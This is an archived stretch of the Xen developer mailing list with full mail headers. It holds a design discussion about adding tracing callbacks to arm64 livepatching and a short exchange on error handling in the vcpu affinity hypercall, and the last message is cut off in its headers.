 b=LRLVcnxTu4EsiAxj0UY1pQ22TKBvWitIEdbnqJuFLFFqmugxOeP+LS7aM6DIeQ+JqO9cELfNaWLIBPFzqhxHAnko4iJfr05qxX/AIK1tTiYRuXX6PrvfrRmuTBXsWU8GfLrlzd6k57lhtvNm3VSzeNZNNE/W23Zuar5DKTVfKwbk+7hSmJzzxqP46LzBN/s7U7xzf18HodDPsw+yPtZOOJiuHiSRNmeFL8/c3rySUmxwbdN37KNl2w/oITBPXJl8ebnwDMaLM8+QmMoHoOgudbH/OE3++zE4IXGe4rBGhD4TrOYLGx+jel7T2wBDo2Y2UeIJRhJ05qsf7vjBY5QcNA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=JEQYCUB/AsrZes5fX6l4h5HMkIT20KsBaBAhAmYHYJ0=;
 b=ZI+8zQv3pvn8roMYreM9rPaDU2KVm446+yEJo8sgxx8gTYnmluOQlI9pj/APFG/WtCJouBHPlUcOzdDrDJ4lrzomar6qvyVJyf8FZdenP0csuULtpNovhRnBiunboeXWwGXqNRbupo/oXy7ORHD9axwhRYkG+0vmyHnoDCcj7yV/5qoW43Y9CMAl6mhf0ub1ng9Q93M/+oi9AKBOR2uCKr+pOdD4rNFKclljURIXHevqiVM0z3wFDi6Y/8/GcQZzNHJM0DMjx1qielDI9giCHVc4DVM+WJjd0c5zOrVdo6B5PIYRv9OOwqfRgKVMvCUhI6naOEGf2rrdhcRQuuRbXA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=JEQYCUB/AsrZes5fX6l4h5HMkIT20KsBaBAhAmYHYJ0=;
 b=pmibQIbe9HWnlJiLLMjsnaHN9QeWX+U1/PfJMG51FtbL5QJv1c8wqqpR7v2lTbzY/FkrCEQfLaBqnuSfL7O4fKFhjP5lwVKegfvuT78N/LKXQA9aKEEuIdVEVtP3pt4fslMi1hOy8tODm8LEnoHFlrls5RRVmUzfIqJxvdmtNz0=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Ryo Takakura <takakura@valinux.co.jp>
To: roger.pau@citrix.com,
	andrew.cooper3@citrix.com
Cc: xen-devel@lists.xenproject.org,
	ross.lagerwall@citrix.com,
	sstabellini@kernel.org,
	julien@xen.org,
	bertrand.marquis@arm.com,
	michal.orzel@amd.com,
	Volodymyr_Babchuk@epam.com,
	anthony.perard@vates.tech,
	jbeulich@suse.com,
	taka@valinux.co.jp,
	den@valinux.co.jp
Subject: Re: [RFC] xen/arm64: livepatch: enable attaching callbacks
Date: Thu,  2 Jul 2026 11:14:20 +0900
Message-Id: <20260702021420.8283-1-takakura@valinux.co.jp>
X-Mailer: git-send-email 2.34.1
In-Reply-To: <akUbQyNy-Rj1oOkJ@macbook.local>
References: <akUbQyNy-Rj1oOkJ@macbook.local>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: TYCP286CA0181.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:382::19) To TYWP286MB2938.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:29e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: TYWP286MB2938:EE_|OS9P286MB4880:EE_
X-MS-Office365-Filtering-Correlation-Id: 6566169f-088d-43e3-d306-08ded7dfa1b7
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|366016|1800799024|376014|7416014|3023799007|5023799004|56012099006|6133799003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	6OFmh+gV+pKKf2OWjvHuPfvJ8EzGj7/s0L3tMqEYrOIr4J4nsu1QuJRVcCrfreJMPdF9P/7z5hbaU07VZ3zVQ74exO7h+wKqncwgFP0gKYRjd4m85DmNvvltCc5TPGpV5FNbAE9EO7OqHKu2mMJI+YmDS2/YuBI1xfJ7JH6pzNYn7VyXdf5Xe4Z7WbIO5uxftldLxh8hcqcZoAIMtwZVlEoEBdXQx6u/a2iSPbGsdqIINoY0xjCElbhp4ir5ApLmpncyT1X467NUwH3dpiodOtNZAlDjmLQ9dOrCxsjHSXkb/1ce+yEdAPXyRkaBrowXwXInHXkauOBQx6i3T/V/eZJXYgzDFddJ2Buvyref57jvzOXNc1uPKo/6ZQ7qBFoL4ToVHIihKrQ8+YoA5REb1l6Gv6SJK8/mF6ymSW7I8YGQ09VtFeBZ4Z26D2HZLA4q3gRCMYzcbDu5oyiKf6YhjcomIEWT/5GhwUfcCLIinsWF6NzSuN3TLqRjy0yzyET1Mm6xnyK7XY0xQFartBCvFJ8Fs/FKF5PMnArkpdaWxo+kJo0SZwTAeJzs4sYLIdon93m/zE549CK4Sw3BzxLtK/U0X22iVMisdwW15bV+qXow0WX0IK6aDYr2fX7KiQF/hOoP8KkLHJdAwtJV4YN2lxu7rYBkpKnaBEjDyNKprTQ=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:TYWP286MB2938.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(366016)(1800799024)(376014)(7416014)(3023799007)(5023799004)(56012099006)(6133799003)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?ZStSeFBGbERBRkxDODNGR285NUdkTzNkc3p5N2wxN0YzVHVqOE96TC9ORVBG?=
 =?utf-8?B?TGt2SjZTQnBlcnYzWENHTmVYRXQ1WFJSM2k4NDQ0Y3N6cW1ka3VFOVdaZkxY?=
 =?utf-8?B?bjlOdlRsQjZaa1hNU2pIR1lwbmtDQlFUaUhLWXRiWG9nRzM1d0ppelZJRCtV?=
 =?utf-8?B?ZTBxWkV1S3d6V29URmZyZXh5K0NtRWdVQkJId2loa0EyNzcxNGtPOG1hM1Qx?=
 =?utf-8?B?alJ5eWxTalVQei8xR2ZwM05PZDJvL3lqSVJ4NWw5WDFGU1c5WURLcXpLSTNK?=
 =?utf-8?B?TkYremhpM01NcXFjR0hiMFRlYVlJSVJobmU4YXZ3Q0pIYzlyMlFNWE03Tmor?=
 =?utf-8?B?V1JGUlFSVnl6U0NzVUs2bThzWXlnNGZnQkxaRlpCTHZuclFJVWh6eS8wQWhK?=
 =?utf-8?B?Wmc2SmZhWEZjQXU3LzYrUWRRZ2R0aUNCeTBhLy9yT0FHd3FwMzQremVaR2dJ?=
 =?utf-8?B?b1JNUVBaTHd1dXhBR3ZKWWFrSW1scU82aDlnRTVYREpRTkJzZ3dyTjc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FVrZ0xOdjFiczAyeldCeU8vQllkeW5OT2krZ2VRNmZzV1dW?=
 =?utf-8?B?TkhsbitCYksvek52NFJlbkYxOGJqSjV1Q1d5WkxCOXdIazFXMTlTZz09?=
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 6566169f-088d-43e3-d306-08ded7dfa1b7
X-MS-Exchange-CrossTenant-AuthSource: TYWP286MB2938.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 02 Jul 2026 02:14:22.8251
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: jyndUgXI4drN6I+nXSsBGAr79fiAlTfOBQ+a3dO/iwdJPYp+SBuSnuVTqT+F1K2NdUKytAeeGpIMo9mADWZwFg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS9P286MB4880
X-purgate-ID: tlsNG-16d1c6/1782958470-C513768D-44D0127E/0/0
X-purgate-type: clean
X-purgate-size: 3354

On Wed, 1 Jul 2026 15:50:59 +0200, Roger Pau MonnÃ© wrote:
>On Wed, Jul 01, 2026 at 06:09:08PM +0900, Ryo Takakura wrote:
>> On Tue, 30 Jun 2026 08:47:14 +0000, Roger Pau MonnÃ© wrote:
>> >On Mon, Jun 29, 2026 at 11:01:28AM +0900, Ryo Takakura wrote:
>> >> Linux ftrace allows registering callbacks which is useful
>> >> for debugging and tracing events. On Linux, it is done by
>> >> reserving function entry points at compile time which can
>> >> later be patched to branch to a trampoline.
>> >> 
>> >> This patch implements similar callback feature, but with
>> >> different approach using existing livepatch infrastructure.
>> >> Instead of reserving function entry points at compile time,
>> >> the traced function will be livepatched so that it branches
>> >> to the trampoline.
>> >
>> >While this is an interesting usage of the livepatch logic in new ways,
>> >may I ask why not do as Linux and add an empty function preamble that
>> >can be replaced at run-time with calls to hooks?
>> >
>> >You could still re-use most of the livepatch logic for handling the
>> >addition of the hook calls, but it would be nicer in that we won't
>> >need to move the original function.
>> 
>> I agree that we can reuse a lot of livepatch logic.
>> 
>> >> The role of the trampoline(illustrated below) is to preserve
>> >> the context while jumping to the tracer function, and return
>> >> back to the traced function with its context restored.
>> >
>> >Alternatively - why not use livepatch-build-tools against a build with
>> >the added hooks to generate a proper livepatch?  This looks a bit
>> >fragile to me (see the question from Andrew about fixing up
>> >instruction pointer relative references).
>> 
>> Yes, I think proper livepatching would still be preferred
>> given all the concerns Andrew and Roger raised.
>> 
>> >On x86 at least we would also need to adjust the bug frames and
>> >exception table contents, and the contents of the symbol table to
>> >account for the function being moved.
>> >
>> >IOW: it looks like overall this is a lot more work than possibly
>> >reserving a function preamble to add hook calls?
>> 
>> Yes, I agree.
>> (I wasn't aware of this additional work when I replied
>> to Andrew yesterday, thanks!)
>> 
>> And if I were to summarize the discussion so far, assuming we
>> still want to add a tracing-feature, I think we are in agreement
>> adding an empty function preamble like Linux.
>> (I personally would still like to see a framework on Xen
>> that is more convenient and tracing-friendly which can be used
>> reliably at the same time)
>> 
>> If this sounds reasonable, I will try preparing one based on
>> the feedbacks I was given so far:
>> - Use of Linux-like reserved function preamble
>> - Use of __attribute__((no_caller_saved_registers))
>> - Split replacement and preamble-hook handling in common code
>> 
>> Let me know your thoughts!
>
>I think the above approach is easier to implement, and more reliable
>than the current proposal.

Good!

>Do you also have the intention to integrate this with existing tracing
>tools used by Linux or other OSes?  That would be very useful IMO.

Although I don't have anything specific in mind yet,
I also hope for more tools to be integrated in the future :-)

Sincerely,
Ryo Takakura


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 05:54:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 05:54:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351187.1608420 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfANH-0000U9-7S; Thu, 02 Jul 2026 05:54:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351187.1608420; Thu, 02 Jul 2026 05:54:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfANH-0000U1-2b; Thu, 02 Jul 2026 05:54:11 +0000
Received: by outflank-mailman (input) for mailman id 1351187;
 Thu, 02 Jul 2026 05:54:09 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfANF-0000Tr-Cn
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 05:54:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfANE-004TF7-2X
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 07:54:08 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a45fcde-5cb7-0a2a0a5109dd-0a2a4501b556-48
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 07:54:07 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a45fcff-400f-0a2a45010019-d155dd2ae9fc-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 07:54:07 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-47721cd669cso254470f8f.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 22:54:07 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db3dba3csm5702130f8f.3.2026.07.01.22.54.06
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 22:54:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782971647; x=1783576447; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=QIM/eJO+4vUuJrCujFfM+G+/xQoMdtBlBmwgL/GpSq8=;
        b=VenJxO7ysHJy79oeHJ5AwtjqKROQPSh43czjcgLSs4A+xypyyUanagxD6ZEA8fLwBl
         jvSPqvdl9wuhd1d8LJqhc3uldZq/m1i4NSU0W0qblNUulP99lcrxMXudD9N8ZQgYTkak
         DmGNsXV+YghjjbbkjGc/guPFNTXk1hLV1FPit+KtONc5smNSbMNHPkUML+QlEc2Svtpv
         EPamPEOXsS5E9fQPSRji4oeY6g+VYrW9a/76M19+I41Y1IrIaJcDWZP6V4kQgYAxnOFZ
         3vkV/OwboGRQbHzc8uegSAg5WfLVgwlLTCT2aeZ/BQCnunqANNwvWtTrsn+QOqLg1hH7
         QulQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782971647; x=1783576447;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=QIM/eJO+4vUuJrCujFfM+G+/xQoMdtBlBmwgL/GpSq8=;
        b=LtyQm4nivtSzgLXeskgf0J/uyGE0/MHiueYiBlAZN+EaZ0xEjIjpJ45StNuWWkoLBI
         8dW2JNdsV+EwvojP0+2l+2BpOE5jtNTQmyjBuIQI65wjaq74igE9LikdxvxIb+TmPwcP
         BfhosDv6rp6NOxcEV20FrZ5ojosgsly8XVJ44xlpWupLXfF1mfPWHl793UxkBep4FU8F
         euT3ItcUY1MLue0BU6K+UV+XkNjdZeJ0KRLcQhb+EeYhw8Q5dOLcggDPjAVgPrxvcP2T
         yCOGf4dNQMbrj+SNOmAZtS/fv5JzQRbXdPzQcdQBlshuV4BaPVTm8T+gmdDqmTgaI6iJ
         uYoA==
X-Forwarded-Encrypted: i=1; AHgh+RoZxKWbFr+8MN1Om5R8+PVBOznHfpbRgkSVLFGQeODCESu3EryjFafV3ZSPgQT/3Fu0D02Bwr6Z0gU=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwVoghudQp5FIWyPNXwowc0/GT+ABgzGkz37woFpDSa86NbOSpr
	in6NSxyUeLHVvTm62N7MOixeuGv+Z2zX1I+uGktISUdDhsM18VzFAsWjdVMJMcyYBw==
X-Gm-Gg: AfdE7cl3IKeuntPadU3H7lrfncZ5/DIiViDrESDpNdv9iFmRJkF6xMtWNLhTpf+sXO6
	Onmik6GUCa0WPPuC8i3ybbjhkzNAQmpU6tl+f8r0UsB8Tze3UaeDicLiVNpv3iXtygzGbGHZ4l7
	WN49N0kl2+JCAgsNh1Nr+bzRc6ZSDBzeV+u882zSvMJAGXZCEJwqnWsJ+31RvlsfsqpMKVfLm2M
	8NRJYAcX57dgN9VKgDu8eoPkFlztBWC2sHI+2ht4FciOjQFqSlgyfO5++1ixah8omd9cc2ciHCN
	CmPaTGfkHDt/9UYSevHOWw8wloJxd5d67F/n19YcQmEG4pVIC7Qst8RLLoHyWJws37EhGM9f5yJ
	CFsjEpyKFLCfGYywliR2u1e6svbYo1xWfcEm25G+Y0Mifya00FJe7hk1E2iZXawMnESQh/st9xc
	Ca8YY5kP9xqp+C79x0duC453wUUX/O7wGB+efsFHnfOCU8k5hy9ty9xx/CIP5IYOahgra9/goDP
	2un
X-Received: by 2002:a5d:634e:0:b0:475:f0f0:9ecc with SMTP id ffacd0b85a97d-477b5d37ae9mr3638954f8f.55.1782971646961;
        Wed, 01 Jul 2026 22:54:06 -0700 (PDT)
Message-ID: <0c888832-9509-4e14-977c-ff1dc37768f3@suse.com>
Date: Thu, 2 Jul 2026 07:54:05 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
To: Juergen Gross <jgross@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
 <d7da5a56-3d65-403c-9c3c-19e1566d2839@suse.com>
Content-Language: en-US
From: Jan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8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <d7da5a56-3d65-403c-9c3c-19e1566d2839@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1782971647-800EC1E0-D12F92E0/0/0
X-purgate-type: clean
X-purgate-size: 787

On 01.07.2026 17:34, Juergen Gross wrote:
> On 01.07.26 13:39, Jan Beulich wrote:
>> On 01.07.2026 13:16, Juergen Gross wrote:
>>> Today the XEN_DOMCTL_setvcpuaffinity hypercall will not only change the
>>> affinity settings of a vcpu, it will return the new effective settings,
>>> too.
>>>
>>> In case an error happens during this hypercall, the expectation of the
>>> caller is that the affinity of the vcpu didn't change. This isn't true,
>>> however, if passing the new effective affinity back to the user is
>>> failing.
>>
>> That'll be the caller's fault though. Any -EFAULT coming back are an
>> indication that the caller needs fixing.
> 
> The possible -ENOMEM isn't the callers fault, though.

Yet that'll happen ahead of any changes made, won't it?

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 05:58:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 05:58:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351196.1608429 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfAR0-0001TP-KD; Thu, 02 Jul 2026 05:58:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351196.1608429; Thu, 02 Jul 2026 05:58:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfAR0-0001TI-HF; Thu, 02 Jul 2026 05:58:02 +0000
Received: by outflank-mailman (input) for mailman id 1351196;
 Thu, 02 Jul 2026 05:58:00 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfAQy-0001Sm-Mr
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 05:58:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfAQx-00CPab-HF
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 07:57:59 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a45fdcc-2eae-0a2a0a5409dd-0a2a45079380-46
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 07:57:59 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a45fde7-9c8e-0a2a45070019-d155dd33d41d-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 07:57:59 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-474303f3c72so908432f8f.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 22:57:59 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477dde1ac93sm5635845f8f.28.2026.07.01.22.57.58
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 22:57:58 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782971879; x=1783576679; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=/NyaO5/jf5biTznVAg/QZEVh5d7siFZRqfaOo28a5FQ=;
        b=REAIZwyZRreMWeL9WSLiQsTCkQVXnavNILNfavc+4oEjKK4+EhNHThMfw0XJapPUBp
         ezjdLewjSZHBwVhE/fygBEbCBgIW6PciNwkfavmrbFf3Q/BVmM6Iu0ci451A4241buav
         BGavKQcorVA9sUAFn0Q5GbPpN/K2UAi0Zpme244Jr22W4vlUNXHTBSmiYV7jQnxS4rvG
         Y6xM6+1T1VLmUbm/UGJ9kz4wTRQvrVRc/Wvtw7B0FmQVf3QcCl7w9d17X0ebTPHnIj9w
         IP1Cq3oHFqxHJ8dk/SCwkyDykDrO8Vwt1nMvBt3N1o0jeuTdfcHJmL+/FUw3dj9Wj9ve
         /vxQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782971879; x=1783576679;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=/NyaO5/jf5biTznVAg/QZEVh5d7siFZRqfaOo28a5FQ=;
        b=RerCjbNUJIRszgOYW+DtQh9P7vJOZbUX8PgEjImrQEb9nIAdfqmkVS2Q0s0HXOA8TI
         aIMOp7/9p4RFtJaIhXJnQpf9l/EUA0W81aS4LAwA1S4j2Dg94KJmL4m8Y+jzRSLt9ov/
         FS6kDj8AC5/pEstHa6s0UwCVlq7cY8sDUpIdl1WjcVCnn7jncNQlXxca97LY4J2nwVuw
         C06wZzxXFS/mdSSCVDzoDao1CzHDHRf5NYSSjkngfMtzBQJYWCAgiuLkIdcMgWsgvtI4
         lcnUMg/2ZwNylzLGfwZA+SSKxTRtaHtT2FlmKuWTk6RstAgnwL3uPvWFXpaAtzM/h0DZ
         OZ2g==
X-Forwarded-Encrypted: i=1; AHgh+RqCwRBnIISW9wiB84wUy3eOCnIyOgOtPl7SR7bdnhxKn4s7AnFHnBmOei/BMziAuN91sRncXXoI/YY=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy8Uj3JCCyprW3DmyRqIBkFb40GNDi6RwQodFwCk3zZ4EDHpI0J
	FwJI1SoTOrPKyrH1X2Gf4IhqP2Esi1Q+Y6Eat9T/eXiqTKMMolW6C6NYhhyoMOUpNQ==
X-Gm-Gg: AfdE7ckOpQoMUiMZEu1U8Mf27V3kM4KAH3pIgKQXyt7HQGnwqjZaP9VjHNam2rjCpn5
	hxG3ojwfltd6Ivn50vwS+943ZEFpsuDb5xxu7xtcNRKWgAMYOio7gMKegaiPcnIwWMPOtOHj4xI
	lFzqwrX5ne/iA0dI2myMrfP2hV6SimXfsrQZHPSw65S7iQcyiRxH0CZz7vsMwIKVxhguLb9YfF4
	GpvX4hcDotXgxrbngMc1OMe64sZVg2jpnPftigi93DZi9KcBL4smijcSTKeh+/cow9Q/6FFz9b4
	dXEpC9Q+xMoysbv/E+TCoYZOHm1GJDuZiwHyAmEch/1JlZii03DZMkeqoQxCwUW4Lwr7Op0y0DP
	ON9YKmiq83MpICrS/Nf3sd2pMmdVNdzfzkVlefPIY2kgR3YEagyhDNkhOac/PnGWVMgpWucmpYj
	OZ3fzZxOF3ss8iI0KfwheJqGo69pLODnmYSos9T7/Xya5PLmXn1m8u5d1+TcTsgiAGgcUcP3UHR
	Qp3
X-Received: by 2002:a05:600c:c04f:b0:490:be14:bfda with SMTP id 5b1f17b1804b1-493c2b3a9cfmr43439565e9.6.1782971878958;
        Wed, 01 Jul 2026 22:57:58 -0700 (PDT)
Message-ID: <52d1d0b4-6b90-4eb8-a299-7adcc7634f33@suse.com>
Date: Thu, 2 Jul 2026 07:57:57 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/3] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
